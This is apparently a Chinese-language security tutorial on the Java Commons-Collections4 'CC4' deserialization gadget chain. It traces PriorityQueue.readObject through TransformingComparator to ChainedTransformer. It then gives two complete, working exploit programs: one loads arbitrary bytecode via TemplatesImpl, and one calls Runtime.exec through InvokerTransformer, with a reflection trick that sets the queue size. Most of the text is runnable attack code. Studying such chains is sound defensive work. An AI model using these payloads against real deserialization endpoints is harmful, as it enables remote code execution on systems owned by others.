前言 是对commons-collections4包的利用
需要修改pom.xml,添加
1 2 3 4 5 <dependency > <groupId > org.apache.commons</groupId > <artifactId > commons-collections4</artifactId > <version > 4.0</version > </dependency >
链子的结尾还是反射执行Runtime.exec和动态加载,主要是前半段不一样了
图例:
所以后半段就不记录了,只记录前半段
通过这个类去调用到ChainedTransformer.transform()
1 2 3 4 5 public int compare (final I obj1, final I obj2) { final O value1 = this .transformer.transform(obj1); final O value2 = this .transformer.transform(obj2); return this .decorated.compare(value1, value2); }
然后他的构造函数是可以直接给this.transformer
赋值的
1 2 3 4 5 public TransformingComparator (final Transformer<? super I, ? extends O> transformer, final Comparator<O> decorated) { this .decorated = decorated; this .transformer = transformer; }
所以调用到ChainedTransformer.transform()就将ChainedTransformer对象
赋值为TransformingComparator里transformer的值
1 new TransformingComparator <>((org.apache.commons.collections4.Transformer) chainTransformer);
然后再使用PriorityQueue.readObject
调用TransformingComparator.compare()
PriorityQueue.readObject() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt(); queue = new Object [size]; for (int i = 0 ; i < size; i++) queue[i] = s.readObject(); heapify(); }
heapify() 1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
siftDown() 1 2 3 4 5 6 private void siftDown (int k, E x) { if (comparator != null ) siftDownUsingComparator(k, x); else siftDownComparable(k, x); }
进入第一个分支
siftDownUsingComparator() 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 private void siftDownUsingComparator (int k, E x) { int half = size >>> 1 ; while (k < half) { int child = (k << 1 ) + 1 ; Object c = queue[child]; int right = child + 1 ; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0 ) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0 ) break ; queue[k] = c; k = child; } queue[k] = x; }
最后在这里调用了comparator.compare
所以需要将comparator赋值为TransformingComparator
对象即可
然后看能否通过PriorityQueue
的构造函数进行赋值
1 2 3 public PriorityQueue (Comparator<? super E> comparator) { this (DEFAULT_INITIAL_CAPACITY, comparator); }
1 2 3 4 5 6 7 8 9 10 private static final int DEFAULT_INITIAL_CAPACITY = 11 ;public PriorityQueue (int initialCapacity, Comparator<? super E> comparator) { if (initialCapacity < 1 ) throw new IllegalArgumentException (); this .queue = new Object [initialCapacity]; this .comparator = comparator; }
发现是可以的,所以直接通过构造函数进行赋值即可
因为环境里cc3和cc4的包都有,所以需要指定一下包
先把链子连接起来,然后再进行赋值操作
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.*;import org.apache.commons.collections4.comparators.TransformingComparator;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class cc4 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class templatesclass = templates.getClass(); Field nameField = templatesclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"name" ); byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" )); byte [][] codes={code}; Field bytecodesField = templatesclass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); bytecodesField.set(templates, codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers= new Transformer []{ (Transformer) new ConstantTransformer (TrAXFilter.class), (Transformer) instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer <>(transformers); TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); serialize(priorityQueue); unserialize("cc4.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("cc4.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }
这样是弹不了计算器的,所以需要debug
使用反射给size赋值 1 2 3 4 private void heapify () { for (int i = (size >>> 1 ) - 1 ; i >= 0 ; i--) siftDown(i, (E) queue[i]); }
发现需要需要让i有值,才能执行到for里,但是size这里的值为0,所以需要给siez赋值
使用反射进行赋值
1 2 3 4 5 PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator);Class a= priorityQueue.getClass(); Field size = a.getDeclaredField("size" );size.setAccessible(true ); size.set(priorityQueue,2 );
然后就可以弹计算器了
POP(动态加载) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.functors.ConstantTransformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.*;import org.apache.commons.collections4.comparators.TransformingComparator;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class cc4 { public static void main (String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl (); Class templatesclass = templates.getClass(); Field nameField = templatesclass.getDeclaredField("_name" ); nameField.setAccessible(true ); nameField.set(templates,"name" ); byte [] code= Files.readAllBytes(Paths.get("D://temp//test.class" )); byte [][] codes={code}; Field bytecodesField = templatesclass.getDeclaredField("_bytecodes" ); bytecodesField.setAccessible(true ); bytecodesField.set(templates, codes); InstantiateTransformer instantiateTransformer = new InstantiateTransformer (new Class []{Templates.class}, new Object []{templates}); Transformer[] transformers= new Transformer []{ (Transformer) new ConstantTransformer (TrAXFilter.class), (Transformer) instantiateTransformer }; ChainedTransformer chainedTransformer = new ChainedTransformer <>(transformers); TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); Class a= priorityQueue.getClass(); Field size = a.getDeclaredField("size" ); size.setAccessible(true ); size.set(priorityQueue,2 ); serialize(priorityQueue); unserialize("cc4.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("cc4.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }
POP2(反射调用) 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;import org.apache.commons.collections4.Transformer;import org.apache.commons.collections4.functors.InstantiateTransformer;import org.apache.commons.collections4.functors.ChainedTransformer;import org.apache.commons.collections4.functors.*;import org.apache.commons.collections4.comparators.TransformingComparator;import javax.xml.transform.Templates;import java.io.*;import java.lang.reflect.Field;import java.nio.file.Files;import java.nio.file.Paths;import java.util.PriorityQueue;public class cc4_2 { public static void main (String[] args) throws Exception { Transformer[] transforms = new Transformer []{ (Transformer) new org .apache.commons.collections4.functors.ConstantTransformer(Runtime.class), (Transformer) new org .apache.commons.collections4.functors.InvokerTransformer("getMethod" ,new Class []{String.class,Class[].class},new Object []{"getRuntime" ,null }), (Transformer) new org .apache.commons.collections4.functors.InvokerTransformer("invoke" ,new Class []{Object.class,Object[].class},new Object []{null ,null }), (Transformer) new org .apache.commons.collections4.functors.InvokerTransformer("exec" ,new Class []{String.class},new Object []{"calc" }) }; ChainedTransformer chainedTransformer = new ChainedTransformer <>(transforms); TransformingComparator transformingComparator = new TransformingComparator <>(chainedTransformer); PriorityQueue priorityQueue = new PriorityQueue <>(transformingComparator); Class a= priorityQueue.getClass(); Field size = a.getDeclaredField("size" ); size.setAccessible(true ); size.set(priorityQueue,2 ); serialize(priorityQueue); unserialize("cc4_2.bin" ); } public static void serialize (Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("cc4_2.bin" )); oos.writeObject(obj); } public static Object unserialize (String filename) throws Exception{ ObjectInputStream oip = new ObjectInputStream (new FileInputStream (filename)); Object obj = oip.readObject(); return obj; } }